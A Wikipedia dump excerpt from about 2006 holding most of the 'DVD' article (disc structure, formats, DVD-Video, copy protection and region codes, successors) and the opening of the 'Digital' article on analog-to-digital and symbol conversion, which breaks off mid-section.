DVDs are made from a 0.6 mm thick disc of [[polycarbonate]] plastic coated with a much thinner reflective layer of [[aluminium]] or [[gold]]. Two such discs are glued together to form a 1.2 mm disc that can be designed to be read from one side (single sided) or both sides (double sided). The substrates are half as thick as a CD to make it possible to use a lens with a higher [[numerical aperture]] and therefore use smaller pits and narrower tracks.  Discs commonly come in 8cm or 12cm diameters.

A single-layer DVD can store 4.7 [[Gigabyte|GB]] (4.38 [[Gibibyte|GiB]], or 4,707,000,000 [[Byte|Bytes]]), which is around seven times as much as a standard CD-ROM. By employing a red laser at 650 nm wavelength (compared to 780 nm for CD) and a [[numerical aperture]] of 0.6 (compared to 0.45 for CD), the read-out resolution is increased by a factor 1.65. This holds for two dimensions, so that the actual physical data density increases by a factor of 3.5. DVD uses a more efficient coding method in the physical layer. CD's error correction, [[CIRC]], is replaced by a powerful [[Reed-Solomon]] product code, RS-PC; [[Eight-to-Fourteen Modulation]] (EFM) is replaced by a more efficient version, [[EFMPlus]], which uses eight-to-sixteen modulation. There is no subcode as in CD. As a result, the DVD format is 47 percent more efficient with respect to CD-ROM, which uses a &quot;third&quot; error correction layer.    

===Application types===
There are a variety of application types for DVD:
* [[#DVD-Video|DVD-Video]] (containing movies (video and sound))
* [[DVD-Audio]] (containing high-definition sound)
* [[SACD]] (containing high-definition sound)
* DVD-VR (containing recorded video and sound, usually from TV or camcorder)
* DVD+VR (a variation of DVD-Video used for recording on +R and +RW discs)
* PS2 DVD (containing games for [[PlayStation 2]])
* Xbox DVD (containing games for [[Xbox]])
* Xbox 360 DVD (containing games for [[Xbox 360]])
* GameCube Mini-DVD (containing games for [[Nintendo GameCube]])
* DVD-Data (containing data)

===Different Media===
The disc medium can be:

* DVD-ROM: read only, manufactured by a press
* [[DVD-R]]: recordable once
* [[DVD-RW]]: rewritable 
* [[DVD-RAM]]: random access rewritable
* [[DVD+R]]: recordable once
* [[DVD+RW]]: rewritable
* [[DVD-R DL]]: dual layer record once
* [[DVD+R DL]]: dual layer record once
* [[DVD-RW DL]]: dual layer rewritable
* [[DVD+RW DL]]: dual layer rewritable

===Single and Dual Layer naming===
[[Image:DVD_two_kinds.jpg|thumb|right|500|Two DVDs with different bottom sides.]]
The disc may have one or two sides, and one or two layers of data per side; the number of sides and layers determines the disc capacity.

* ''DVD-5'': single sided, single layer, 4.7 [[gigabyte]]s (GB), or 4.38 [[Binary prefix|gibibytes]] (GiB)
* ''DVD-9'': single sided, double layer, 8.5 GB (7.92 GiB)
* ''DVD-10'': double sided, single layer on both sides, 9.4 GB (8.75 GiB)
* ''DVD-14'': double sided, double layer on one side, single layer on other, 13.3 GB (12.3 GiB)
* ''DVD-18'': double sided, double layer on both sides, 17.1 GB (15.9 GiB)

There are also 8 cm DVDs (not [[MiniDVD|mini-DVD]], which usually refers to DVD-Video data on a CD) with a disc capacity of 1.5 GB.

The capacity of a DVD-ROM can be visually determined by noting the number of data sides, and looking at the data side, or sides, of the disc.  Double-layered sides are usually gold-colored, while single-layered sides are usually silver-colored, like a CD. Another way to identify how many layers a DVD contains is to look at the center ring on the data side(s) of the disc. If there are two barcodes, there are two layers on that side. If there is one barcode, there is only one layer.

Each medium can contain any of the above content and can be any layer type.

[[Image:Dvdrw 180x75.PNG|thumb|250px|right]]
The [[DVD Forum]] created the official DVD-ROM/R/RW/RAM standards and the [[DVD+RW Alliance]] created the DVD+R/RW standards. Since DVD+R/RW discs are not technically DVDs as per the DVD Forum standards, they are not allowed to display the DVD logo. Instead, they display an &quot;RW&quot; logo, even if it is not rewritable, which some consider to be deceptive advertising. However, they are readable by most DVD drives, so they are commonly referred to as DVD+R and DVD+RW.

The &quot;+&quot; (plus) and &quot;-&quot; (dash) are similar technical standards and are partially compatible. As of 2005, both formats are equally popular, with about half of the industry supporting &quot;+&quot;, and the other half &quot;-&quot;. Around 90% of DVD readers (drives and player) can read the recordable formats, with DVD-R having the best overall compatibility in independent tests. Almost all DVD writers can write both formats and carry both the +RW and DVD-R/RW logos.

Unlike compact discs, where sound (CDDA, [[Red Book (audio CD standard)|Red Book]]) is stored in a fundamentally different fashion than data ([[Yellow Book (CD-ROM standards)|Yellow book]] et al.), a properly authored DVD will always contain data in files readable by both the [[Universal Disk Format|UDF]] filesystem and the ISO 9660 filesystem (often called UDF Bridge format).
[[Image:DVD_uitleeskop.JPG|thumb|right|500|DVD pick-up head and drive.]]
The reference data rate of DVD is 11.08 Mbps (million bits per second). The data transfer rate of a DVD drive is often given in multiples of 1352 KB/s, which means that a drive with 16x speed designation allows a data transfer rate of 16 &amp;times; 1352 = 21640 KB/s (21.13 MB/s). As CD drive speeds are given in multiples of 150 KB/s, one DVD &quot;speed&quot; equals nine CD &quot;speeds,&quot; so an 8x DVD drive should have a data transfer rate similar to that of a 72x CD drive. In physical rotation terms (spins per second), one DVD &quot;speed&quot; equals three CD &quot;speeds,&quot; so an 8x DVD drive has the same rotational speed as 24x CD drive.

Early CD and DVD drives read data at a constant rate. The data on the disc is passed under the read head at a constant rate (Constant Linear Velocity, or CLV). As linear (meters per second) track speed grows at outer parts of the disc proportionally to the radius, the rotational speed of the disc was adjusted according to which portion of the disc was being read. Most current CD and DVD drives have a constant rotation speed (Constant Angular Velocity, or CAV). The maximum data rate specified for the drive/disc is achieved only at the end of the disc's track. (The track starts at the inner circle of the disc and spirals outward.) The average speed of the drive therefore equals only about 50&amp;ndash;70% of the maximum nominal speed. While this seems a disadvantage, such drives have a lower [[seek time]] as they do not have to change the disc's speed of rotation.

== DVD-Video ==
[[IMage:DVD-Video logo-example.png|thumb|right|250px|Example of how producer could show the consumer full compatibility with DVD-Video specification.]]
[[Image:DVD Video (File structure).jpg|250px|thumb|right|Typical DVD-Video file structure.]]

'''DVD-Video''' discs require a DVD-drive with an [[MPEG-2]] decoder (e.g. a DVD-player or a DVD computer drive with a software DVD player). Commercial DVD movies are encoded using a combination of MPEG-2 compressed video and audio of varying formats (often multi-channel formats as described below).  Typical data rates for DVD movies range from 3&amp;ndash;10 [[Mbit/s]], and the [[bit rate]] is usually adaptive. The video resolution on NTSC discs is 720 &amp;times; 480 and on PAL discs is 720 &amp;times; 576. A high number of audio tracks and/or lots of extra material on the disc will often result in a lower bit rate (and image quality) for the main feature.

The audio data on a DVD movie can be of the format [[Pulse-code modulation|PCM]], [[Digital Theatre System|DTS]], [[MP2 (format)|MP2]], or [[Dolby Digital]] (AC-3).  In countries using the [[NTSC]] standard any movie should contain a sound track in (at least) either PCM or Dolby AC-3 formats, and any NTSC player must support these two; all the others are optional.  This ensures any standard compatible disc can be played on any standard compatible player. The vast majority of commercial NTSC releases today employ [[AC-3]] audio.

Initially, in countries using the [[PAL]] standard (e.g. most of Europe) the sound of DVD was supposed to be standardized on PCM and MP2, but apparently against the wishes of [[Philips]], under public pressure on [[December 5]], [[1997]], the [[DVD Forum]] accepted the addition of Dolby AC-3 to the optional formats on discs and mandatory formats in players. The vast majority of commercial PAL releases employ AC-3 audio by now.

DVDs can contain more than one channel of audio to go together with the video content. In many cases, sound tracks in more than one language track are present (for example, a dubbed track in the language of the country where the disc is sold in addition to one in the film's original language).

With several channels of audio from the DVD, the cabling needed to carry the signal to an amplifier or TV can occasionally be somewhat frustrating. Most systems include an optional digital connector for this task, which is then paired with a similar input on the amplifier. The selected audio signal is sent over the connection, typically over [[RCA connector]]s or [[TOSLINK]], in its original format to be decoded by the audio equipment. When playing compact discs, the signal is sent in [[S/PDIF]] format instead.

Video is another issue which continues to present problems. Current players typically output [[analog signal|analog]] video only, both [[composite video]] on an RCA jack, as well as [[S-Video]] in the standard connector. However neither of these connectors were intended to be used for [[progressive video]], so yet another set of connectors has started to appear, to carry a form of [[component video]], which keeps the three components of the video, one luminance signal and two color difference signal, as stored on the DVD itself, on fully separate wires (whereas S-Video uses two wires, uniting and degrading the two color signals, and composite only one, uniting and degrading all three signals). The connectors are further confused by using a number of different physical connectors on different player models, RCA or [[BNC connector|BNC]], as well as using [[VGA connector|VGA]] cables in a non-standard way (VGA is normally analog [[RGB color model|RGB]]&amp;mdash;a different, incompatible form of component video). Even worse, there are often two sets of component outputs, one carrying [[interlaced video]], and the other progressive. In Europe (but not most other PAL areas), [[SCART]] connectors are typically used, which can carry composite, Y/C ([[S-Video]]), and/or analog RGB interlaced video signals, as well as analog two-channel sound on a single convenient multiwire cable.  The analog RGB component signal offers video quality which is superior to [[S-Video]] and identical to progressive YPbPr component video (ignoring any conversion or noise issues).  However, analog RGB and S-Video signals can not be carried simultaneously, due to each using the same pins for different uses, and displays often must be manually configured as to the input signal, since no switching mode exists for S-Video.  (A switching mode does exist to indicate whether composite or RGB is being used.) Some DVD players and set-top boxes offer [[YPbPr]] component video signals over the wires in the [[SCART]] connector intended for RGB, though this violates the official specification and manual configuration is again necessary.  (Hypothetically, unlike RGB component, YPbPr component signals and S-Video Y/C signals could both be sent over the wire simultaneously, since they share the luminance (Y) component.)  [[HDMI]] is a new digital connection similar to [[DVI]]; it carries High Definition, Enhanced Definition and Standard Definition video. Along with video HDMI also supports up to eight-channel digital audio. Some HDMI-equipped DVD players can [[HD Upconverter|upconvert]] the video to higher definition formats such as [[720p]] and, more rarely, [[1080p]].

DVD Video may also include one or more [[subtitle]] tracks in various languages, including those made especially for the [[deaf]] and [[hearing impaired]]. They are stored as [[bitmap]] images with transparent background which are overlaid over the video during playback. The subtitle track is contained within the [[VOB]] file of the DVD. Subtitles are restricted to four colors (including transparency) and thus tend to look cruder than permanent subtitles on film.

DVD Video may contain Chapters for easy navigation (and continuation of a partially watched film). If space permits, it is also possible to include several versions (called &quot;angles&quot;) of certain scenes, though today this feature is mostly used&amp;mdash;if at all&amp;mdash;not to show different angles of the action, but as part of internationalization to e.g. show different language versions of images containing written text, if subtitles will not do (for instance, credits). Multiple angles have found a niche in pornography though.

A major selling point of DVD Video is that its storage capacity allows for a wide variety of extra features in addition to the feature film itself.  This can include [[audio commentary (DVD)|audio commentary]] that is timed to the film sequence, [[Documentary film|documentary]] features, unused footage, trivia text commentary, simple games and film shorts.

=== Restrictions ===
DVD-Video has four complementary systems designed to restrict the DVD user in various ways: [[Macrovision]], [[Content Scrambling System]] (CSS), [[regional lockout|region codes]], and disabled user operations (UOPs).

==== Content-scrambling system ====

Many DVD-Video titles use [[content-scrambling system]] (CSS) encryption, which is intended to discourage people from bypassing the region control mechanism (see below). Usually, users need to install software provided on the DVD or downloaded from the Internet such as [[WinDVD]], [[PowerDVD]], [[MPlayer]], or [[VLC media player|VLC]] to be able to view the disc in a computer system.

The CSS has caused major problems for the inclusion of DVD players in any [[open source]] operating systems, since open source player implementations are not officially given access to the decryption keys or license the [[patent]]s involved in the CSS.  [[Proprietary software]] players were also difficult to find on some platforms.  However, a successful effort has been made to write a decoder by [[reverse engineering]], resulting in [[DeCSS]]. This has led to long-running legal battles and the arrest of some of those involved in creating or distributing the DeCSS code, through the use of the controversial U.S. [[Digital Millennium Copyright Act]], on the grounds that such software could also be used to facilitate unauthorized copying of the data on the discs. These laws currently affect only the [[United States]]; most other countries can use de-scrambling software to bypass the DVD restrictions. A [[List of video players (software)|number of software programs]] have since appeared on the Web to view DVDs on a number of different platforms.

The restrictions also prevent people from copying DVDs. In the past few years a large amount of software has been created to make copies such as [[DVD Shrink]], [[DVD Decrypter]], and [http://www.shrinkto5.com/ ShrinkTo5].

== Region codes ==
Each DVD-Video disc contains one or more region codes (sometimes called zones), denoting the area(s) of the world in which distribution and playback are intended.  The commercial DVD-Video player specification dictates that a player must only play discs that contain its region code.  In theory, this allows the motion picture studios to control the various aspects of a release (including content, date and price) on a region-by-region basis.  In practice, many DVD players allow playback of any disc, or can be modified to do so.  Entirely independent of encryption, region coding pertains to [[regional lockout]], which originated in the [[Computer and video games|video game]] industry.

[[image:DVD_Region_Codes2.PNG|156px|thumb|right|Typically, a DVD-Video disc's outer packaging bears a symbol indicating its region code.]]
{| class=&quot;wikitable&quot;
! Region code !! Area
|-
|align=&quot;center&quot; | 0 || Informal term meaning &quot;playable in all regions&quot;
|-
|align=&quot;center&quot; | 1 || [[Bermuda]], [[Canada]], [[United States]] and [[U.S. territories]]
|-
|align=&quot;center&quot; | 2 || Most of [[Western Europe]], the [[Middle East]], [[Egypt]], [[Greenland]], [[Japan]], [[Lesotho]], [[South Africa]], [[Swaziland]]
|-
|align=&quot;center&quot; | 3 || [[Southeast Asia]], [[Hong Kong]], [[Macau]], [[South Korea]], [[Taiwan]]
|-
|align=&quot;center&quot; | 4 || [[Central America]], [[Oceania]], [[South America]], [[Mexico]], [[Australia]]
|-
|align=&quot;center&quot; | 5 || The rest of [[Africa]], [[Eastern Europe]], [[South Asia]], [[Mongolia]], [[North Korea]], [[Russia]]
|-
|align=&quot;center&quot; | 6 || [[Mainland China]]
|-
|align=&quot;center&quot; | 7 || Reserved for future use
|-
|align=&quot;center&quot; | 8 || International venues such as [[aircraft]], [[cruise ship]]s, etc.
|}

''See a [[:Image:DVD-Regions_with_key.png|world map showing region codes]]''

European Region 2 DVDs may be sub-coded &quot;D1&quot; through &quot;D4.&quot;  &quot;D1&quot; identifies a [[United Kingdom|UK]]-only release.  &quot;D2&quot; and &quot;D3&quot; identify European DVDs that are not sold in the UK and the [[Republic of Ireland]].  &quot;D4&quot; identifies DVDs that are distributed throughout Europe.

Any combination of regions can be applied to a single disc.  For example, a DVD designated Region 2/4 is suitable for playback in Western Europe, Oceania and any other Region 2 or Region 4 area.  Often labeled &quot;all&quot; or &quot;all regions,&quot; a so-called &quot;Region 0&quot; disc (actually coded Region 1/2/3/4/5/6) is meant to be playable worldwide.

The term &quot;Region 0&quot; also describes DVD players that were designed or modified to incorporate Regions 1&amp;ndash;6 simultaneously, thereby providing compatibility with virtually any disc, irrespective of region[s].  This apparent solution was popular in the early days of the DVD format, but studios quickly responded by adjusting discs to refuse to play in such machines.  This system is known as &quot;Regional Coding Enhancement&quot; or RCE. 

Nowadays, many &quot;multi-region&quot; DVD players defeat regional lockout and RCE by automatically identifying and matching a disc's region code and/or allowing the user to manually select a particular region.  Others simply bypass the region code check entirely.  Some manufacturers of DVD players now freely supply information on how to disable regional lockout, and on some recent models, it appears to be disabled by default. Dozens of Web sites provide information on how to disable region checking in many players.

Many view region code enforcement as a violation of [[WTO]] free trade agreements or [[competition law]]. The [[Australian Competition and Consumer Commission]] has warned that DVD-Video players that enforce region coding may violate the [[Trade Practices Act]] 
[http://www.chiark.greenend.org.uk/pipermail/ukcrypto/2001-May/055467.html]; the government of New Zealand has ruled similarly [http://forum.videohelp.com/viewtopic.php?p=1435483#1435483]. &lt;!-- FIXME: I need better citations! --&gt;

==== User operations ====
DVD-Video allows the disc to specify whether or not the user may perform any operation, such as selecting a menu, skipping chapters, forwarding or rewinding&amp;mdash;essentially any function on the remote control. This is known as User Operation Prohibitions, or UOPs for short. Most DVD players respect these commands (e.g. by preventing fast-forwarding through a copyright message at the beginning of a disc), although some can be configured to ignore them, particularly open source player software. Many [[grey market]] players ignore UOPs.

== DVD-Audio ==
{{main|DVD-Audio}}

'''DVD-Audio''' is a format for delivering high-fidelity audio content on a DVD.  It offers many channels (from [[monaural|mono]] to 5.1 [[surround sound]]) at various sampling frequencies and sample rates.  Compared to the CD format, the much higher capacity DVD format enables the inclusion of either considerably more music (with respect to total running time and quantity of songs) or far higher audio quality (reflected by higher linear [[sampling rate]]s and higher vertical [[bit]]-rates, and/or additional channels for [[spatial sound]] reproduction).

Despite DVD-Audio's superior technical specifications, there is debate as to whether or not the resulting audio enhancements are distinguishable to typical human ears.  DVD-Audio currently forms a niche market, probably due to its dependency upon new and relatively expensive equipment.

===Security===
{{main|CPRM}}

DVD-Audio discs employ a robust [[copy prevention]] mechanism, called [[Content Protection for Prerecorded Media]] (CPRM / CPPM) supported by the DVD+RW Alliance (IBM, Intel, Matsushita, and Toshiba).

CPPM was [[Software cracking|cracked]] in 2005.

== Players and recorders ==

Modern [[DVD recorder]]s often support additional formats, including DVD+/-R/RW, CD-R/RW, [[MP3]], [[Windows Media Audio|WMA]], [[SVCD]], [[JPEG]], [[PNG]], [[Scalable Vector Graphics|SVG]], [[KAR]] and [[MPEG-4]] ([[DivX]]/[[XviD]]). Some also include [[USB]] ports or [[flash memory]] readers.  Many players are priced from under [[United States dollar|$]]/[[Euro|&amp;#8364;]] 25 and recorders from $/&amp;#8364; 50.

DVD drives for computers usually come with one of two kinds of Regional Playback Control (RPC), either RPC-1 or RPC-2; This is used to enforce the publisher's restrictions on what regions of the world the DVD can be played. See [[Regional lockout]].

== Competitors and successors ==

There are several possible successors to DVD being developed by different consortiums: Sony/Panasonic's [[Blu-ray Disc]] (BD), Toshiba's [[HD DVD]] and [[Maxell]]'s [[Holographic Versatile Disc]](HVD). 

The first generation of holographic media with 300 GB of storage capacity and a 160 Mbit/s transfer rate is scheduled for release in late 2006 by Maxell and its partner, InPhase.

On [[November 18]], [[2003]], the Chinese news agency [[Xinhua News Agency|Xinhua]] reported the final standard of the Chinese government-sponsored [[Enhanced Versatile Disc]] (EVD), and several patents for it. However, since then the format has generally failed to live up to expectations.

On [[November 19]], [[2003]], the DVD Forum decided by a vote of eight to six that HD DVD will be its official [[High-definition television|HDTV]] successor to DVD. This had no effect on the competing Blu-ray Disc Association's (BDA) determination that its format would succeed DVD, especially since most of the voters belonged to both groups.

On [[April 15]], [[2004]], in a co-op project with TOPPAN Printing Co., the electronic giant Sony Corp. successfully developed the [[paper disc]], a storage medium that is made out of 51% paper and offers up to 25 GB of storage, about five times more than the standard 4.7 GB DVD.  The disc can be easily cut with scissors and recycled, offering foolproof data security and an environment-friendly storage media.

As reported in a summer, 2005, issue of ''[[Popular Mechanics]]'', it is not yet clear which technology will win the [[format war]] over DVD. HD DVD discs have a lower capacity than Blu-ray discs (15GB vs. 25GB for single layer, 30GB vs. 50GB for dual layer), but Blu-ray requires changes in manufacturing machinery and techniques and is thus more expensive.

In April, [[2000]], Sonic Solutions and Ravisent announced hDVD, an [[HDTV]] extension to DVD that presaged the HD formats that debuted 6 years later.  [http://www.cdrinfo.com/Sections/News/Details.aspx?NewsId=4623]

This situation&amp;mdash;multiple new formats fighting as the successor to a format approaching purported obsolescence&amp;mdash;previously appeared as the &quot;war of the speeds&quot; in the record industry of the 1950s; see [[gramophone record]] for details of that situation.  It is also, of course, similar to the VHS/Betamax war in consumer video recorders in the late 1970s.

It is possible that neither Blu-ray, HD DVD, nor alternative next-generation optical recording products will succeed. The storage capacities of hard disk drives and solid-state memory have grown faster than those of optical discs (since CD's introduction year, 1983, storage capacity of HDDs grew by a factor of about 100,000, from 5 MB to 500 GB, while the capacity of Blu-ray is only 90 times larger than CD), and all three are much more capable of storing general consumer content &amp;mdash;such as photos, music, and video&amp;mdash; than in the past. Hard disk drives having a few terabytes of storage capacity will be on the market before 2008. A terabyte is equivalent to about 2000 CD-ROMs, 130 DVD-9s, or 20 dual-layer BDs. However, hard disk drives and memory cards are at the moment hundreds of times more expensive than optical discs (US$50 or more compared to $0.50), so they will never replace discs as a &lt;i&gt;publishing&lt;/i&gt; format. The price per gigabyte of a hard disk drive, $0.20 ($100/500GB), is growing closer to that of a DVD-ROM, $0.06 ($0.50/8.5GB), or BD-ROM, $0.03 ($1.50/50GB), or recordable DVD-5, $0.10 ($0.50/4.7GB), and is lower than the cost of a recordable DVD-9, $0.30 ($2.50/8.5GB), or BD-RE25, $1.20 ($30/25GB). Direct access to large amounts of information is much more convenient with a hard disk drive. As &lt;i&gt;true&lt;/i&gt; broadband (25 Mbps or higher) becomes widely available in a decade or two, physical media will become less important as a distribution format.

The new generations of optical formats have restricted access (anti-copy mechanisms), and it is therefore possible that consumers will ignore them as they did with Super Audio CD.

== Direct-to-DVD ==
The popularity of [[DVD]]s has caused the term &quot;direct-to-DVD&quot; to widely replace &quot;[[Direct-to-video]]&quot; (see main article). However, the lucrative market for DVDs has resulted in less stigma for direct-to-DVD releases as compared to direct-to-video releases. Some minor films can be made with a small budget and turn a profit on DVD sales alone, and some are made specifically for this purpose.

== See also ==
* [[Camcorder]]
* [[Digital camera]] integration
* [[DeCSS]]
* [[DivX]]
* [[DIVX]]
* [[DualDisc]]
* [[Dual layer]]
* [[DVD Formats]]
* [[DVD Forum]]
* [[DVD Jon]]
* [[DVD TV Games]]
* [[DVD-D]] disposable DVD
* [[DVD-R]] (DVD recordable)
* [[EZ-D]] disposable DVD
* [[FireWire]]
* Updatable [[firmware]]
* [[Home cinema]]
* [[MPEG-1]]
* [[MPEG-2]]
* [[Netflix]] (DVD rental)
* [[Nuon]]
* [[PVR]]
* [[Special edition|Special Edition]]
* [[Superbit]]
* [[User_operation_prohibition|UOP]]
* [[MultiLevel Recording]]
* [[:Category:DVD covers|DVD cover art]]
* [[List of video players (software)]]
* Inphase Tecnologies [[Holographic]] system.

== References ==
* ''DVD Demystified'', Jim Taylor; McGraw-Hill Professional; ISBN 0071350268 (2nd edition, [[December 22]] [[2000]])
* ''DVD Authoring and Production'', Ralph Labarge; CMP Books; ISBN 1578200822 (August 2001)
* Bennett, Hugh. ''Understanding Recordable &amp; Rewritable DVD''. Cupertino: Optical Storage Technology Association, Apr. 2004. [http://www.osta.org/technology/dvdqa/]

== External links ==

===Official===
* [http://www.dvdforum.org DVD Forum]
* [http://www.dvdrw.com/ DVD+RW Alliance]
* [http://www.dvdcca.org/ DVD Copy Control Association and the Content Scramble System (CSS)]

===Technology===
* [http://www.osta.org/technology/dvdqa/ Understanding Recordable &amp; Rewritable DVD] by Hugh Bennett
* [http://www.dvdrecorderworld.com/formatlist.php DVD recorder formats explained]

===DVD collection===
* [http://www.ultimatedisney.com The Ultimate Guide to Disney DVD] News, reviews, and more
* [http://www.cinemademerde.com Cinema de Merde] Reviews and essays on bad and cheesy movies on video
* [http://www.dvdaficionado.com/ DVD Aficionado organizer]
* [http://www.thedigitalbits.com/ The Digital Bits-DVD news and reviews]
* [http://dvd.ign.com/releases.html IGN | Upcoming DVD releases] at [[IGN]]
* [http://www.compare-dvd-prices.co.uk/ UK DVD Price Comparison Website]
* [http://www.thedvdinsider.com DVD reviews and analysis] at The DVD Insider
* [http://dvdmg.com/ A Weekly Guide to DVD Movie Releases &amp; Reviews] at DVD Movie Guide
* [http://www.herorealm.com/ Weekly look at DVDs coming out] at Hero Realm
* [http://www.dvdanthology.com/ DVD Anthology Collectors Community]

===Other===
* [http://www.dvddemystified.com/dvdfaq.html DVD Frequently Asked Questions (and Answers)]
* [http://www.dvdremotehack.com/index.php DVD Code's Archive to make your player multiregional]
* [http://www.dvdsoftwareguide.com/all-about-dvd-1-guide.html All About DVD Part 1: DVD Format] at [http://www.dvdsoftwareguide.com DVDSoftwareGuide.com]
* [http://www.dvd-copy.com/reference/The_Challenge_of_DVD_Authoring.pdf The Challenge of DVD Authoring] a PDF report at DVD-Copy.com
* [http://www.nbc4.tv/news/2281636/detail.html &quot;DVD Rentals Overtake VHS Cassettes For First Time,&quot;] June 19, 2003 article from NBC4 TV
* [http://www.dvdark.co.uk Archive of Region 2 and Region 0 DVDs from 1997 onwards] provided by DVDark.co.uk
* [http://fy.chalmers.se/~appro/linux/DVD+RW/ DVD+RW/+R/-R(W) for Linux]
* [http://www.dvdtoday.com/Recordable%20DVD%20Test.htm DVD and DVD+RW compatibility testing]
* [http://www.howstuffworks.com/dvd.htm How DVD works] from [[HowStuffWorks|HowStuffWorks.com]]
* [http://www.redrobe.com/dvd/vcd.php DVD Player CDR Compatibility list] 
{{Homevid}}

[[Category:120 mm discs]]
[[Category:Computer storage media]]
[[Category:Audio_storage]]
[[Category:Video storage]]
[[Category:DVD| ]]
[[Category:consumer electronics]]

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    </revision>
  </page>
  <page>
    <title>Digital</title>
    <id>8276</id>
    <revision>
      <id>41599302</id>
      <timestamp>2006-02-28T11:59:21Z</timestamp>
      <contributor>
        <ip>200.125.48.231</ip>
      </contributor>
      <comment>/* Historical digital systems */</comment>
      <text xml:space="preserve">:''For other uses, see [[Digital (disambiguation)]]''

A '''digital''' [[system]] is one that uses [[number]]s, especially [[binary numbers]], for input, processing, transmission, storage, or display, rather than a [[continuum|continuous]] spectrum of values (an [[Analog signal|analog]] system) or non-numeric [[symbol]]s such as [[letter]]s or [[icon]]s.

The distinction of &quot;digital&quot; versus &quot;analog&quot; or &quot;symbolic&quot; can refer to method of input, data storage and transfer, the internal working of an instrument, and the kind of display.  The word comes from the same source as the word [[digit]] and ''digitus'': the [[Latin]] word for ''[[finger]]'' (counting on the fingers) as these are used for discrete counting.

The word ''digital'' is most commonly used in [[computing]] and [[electronics]], especially where real-world information is converted to [[Binary numeral system|binary]] numeric form as in [[digital audio]] and [[digital photography]]. Such data-carrying signals carry either one of two electronic or optical pulses, logic 1 (pulse present) or 0 (pulse absent). The term is often meant by the prefix &quot;e-&quot;, as in [[e-mail]] and [[ebook]], even though not all electronics systems are digital.

===Digital noise===

When data are transmitted using analog methods, a certain amount of [[noise]] enters into the signal. This can have myriad causes: data transmitted by [[radio]] may be received badly, suffer [[interference]] from other radio sources, or pick up background radio noise from the rest of the universe. Electric pulses being sent down wires are attenuated by the resistance of the wire, and dispersed by its capacitance, and heat variations can increase or reduce these effects. While digital transmissions are also degraded, any slight variations can be safely ignored. With an analog signal, any variance can provide a great amount of distortion. In a digital signal, these variances can be overcome, as any signal close to a particular value will be interpreted as that value. Care must be taken when connecting digital and analog systems; tolerable variances for the digital part can leak into the analog part and become intolerable.

===Analog, symbolic, and digital displays; ease of reading===

For human readable information, digital, analog, and symbol display methods can all be useful. Should an instant impression be required, analog meters and indicator lights often give information quickly. Many people glance quickly at their analog watch and know roughly what the time is or at an automobile dashboard and know that a door is ajar. When accuracy is required, however, digital displays are preferred. Reading analog meters requires time and a little bit of skill, whereas writing down the value on a digital display is merely a case of copying down the numbers. In cases where both accuracy and quick reckoning are both required, dual displays are often used.

A needle ('''analog''') just touching onto the bottom of an orange shaded area is much different from a needle almost touching into the red area, but an indicator lamp ('''symbol''') would just glow orange and a numeric ('''digital''') display, although it could be colored orange, would not indicate the relative level of danger to an untrained operator.

==Analog to digital conversion==
:''Main article: [[Analog-to-digital converter]]''

Converting an analog source to digital data is done with two steps: [[Sampling (information theory)|sampling]], which changes the source to a series of [[Discrete signal|discrete]] values (called ''samples''), and [[Quantization (signal processing)|quantization]], which converts each sample to a number. For example, the sensor of a digital camera contains millions of sensing elements (one for each [[pixel]]). When an exposure is made, the light focused on the array is converted into millions of electric charges (sampled). These charges are then amplified and converted to numbers (quantized). The resulting [[digital image]] is then processed and stored in the camera's memory card. The samples in this case are spatial. In contrast, converting an audio source to digital requires temporal samples: it is converted to an electrical signal using a [[microphone]], and the voltage of this signal is sampled thousands of times per second (the [[sampling frequency]]). Each sample is then quantized to form the [[digital audio]] data.

Both sampling and quantization will result in a loss of data. Changes in the original data that occur between the samples will not appear in the digital data (or worse, will cause [[aliasing]], the appearance of data not present in the original source). And while a voltage can be any of a seemingly unlimited number of values between its minimum and maximum (limited only by [[quantum mechanics]]), a digital representation using &lt;math&gt;n&lt;/math&gt; bits can have only &lt;math&gt;2^n&lt;/math&gt; possible values. While this information will be preserved in future transmission, the data has been lost.

The amount of information that can be stored in a digital representation is called its ''resolution''. And since the conversion to digital is a two step process, there are two types of resolution: sampling resolution and quantization resolution. Sampling resolution can be either spatial (expressed in [[pixels per inch]]) or temporal (expressed as samples per second) or both (for example, a video). Quantization resolution is usually expressed as the number of [[bit]]s used to represent each sample and is thus often called the bit depth or (for pictures) the [[color depth]].

The best resolution for a given set of digital data depends on the processing it will undergo and its ultimate purpose. For example, [[compact disc]]s use a sampling resolution of 44,100 samples/second, which is sufficient for audio in the range of human hearing. Most digital photographs use a bit depth of 8 bits/color, which produces more colors than the human eye can discern. However many photographers use [[camera raw]] with 12 bits/color to allow for more accuracy during processing before producing a final photograph at 8 bits/color for display or printing. Scientific photography may also require greater bit depth.

If sufficient resolution is used, the data loss caused by the conversion to digital is offset by the accuracy of digital processing. When analog signals are transmitted and stored, accuracy is lost due to [[Signal noise|noise]] and [[distortion]]. So neither digital nor analog offer perfect [[fidelity]]; resolution is sacrificed for accuracy with digital and vice versa for analog. When both high resolution and high accuracy are needed, either a high resolution digital system or a high accuracy analog system must be used (with a correspondingly high cost).

==Symbol to digital conversion==

Since symbols are not continuous, converting symbols to digital is simpler and less prone to data loss than analog to digital conversion. Instead of sampling and quantization, similar steps are used: [[polling]] and [[encoding]].

A symbol input device usually consists of a number of switches that are polled at regular intervals to see which switches are pressed. Data will be lost if, within a single polling interval, two switches are pressed, or a switch is pressed, released, and pressed again. This polling can be done by a specialized processor in the device to prevent burdening the main [[Central processing unit|CPU]]. When a new symbol has been entered, the device sends an [[interrupt]] to alert the CPU to read it.

For devices with just a few switches (such as the buttons on a [[joystick]]), the status of each can be encoded as bits (usually 0 for released and 1 for pressed) in a single word. This is very useful when combinations of key presses are meaningful, and is sometimes used for passing the status of modifier keys on a keyboard (such as shift and control). But it does not scale to support more keys than the number of bits in a single byte or word.

Devices with many switches (such as a [[computer keyboard]]) usually arrange these switches in a scan matrix, with the individual switches on the intersections of x and y lines. When a switch is pressed, it connects the corresponding x and y lines together. Polling (often called scanning in this case) is done by activating each x line in sequence and detecting which y lines then have a signal, thus which keys are pressed. When the keyboard processor detects that a key has changed state, it sends a signal to the CPU indicating the scan code of the key and its new state. The symbol is then [[Code|encoded]], or converted into a number, based on the status of modifier keys and the desired [[character encoding]].

Using a custom [[Character encoding|encoding]] for a specific application can be done with no loss of data. However, using a standard encoding such as [[ASCII]] is problematic if a symbol such as 'ß' needs to be converted but is not in the standard.

==Historical digital systems==

Although digital signals are generally associated with the binary electronic digital systems used in modern electronics and computing, digital systems are actually ancient, and need not be binary nor electronic.

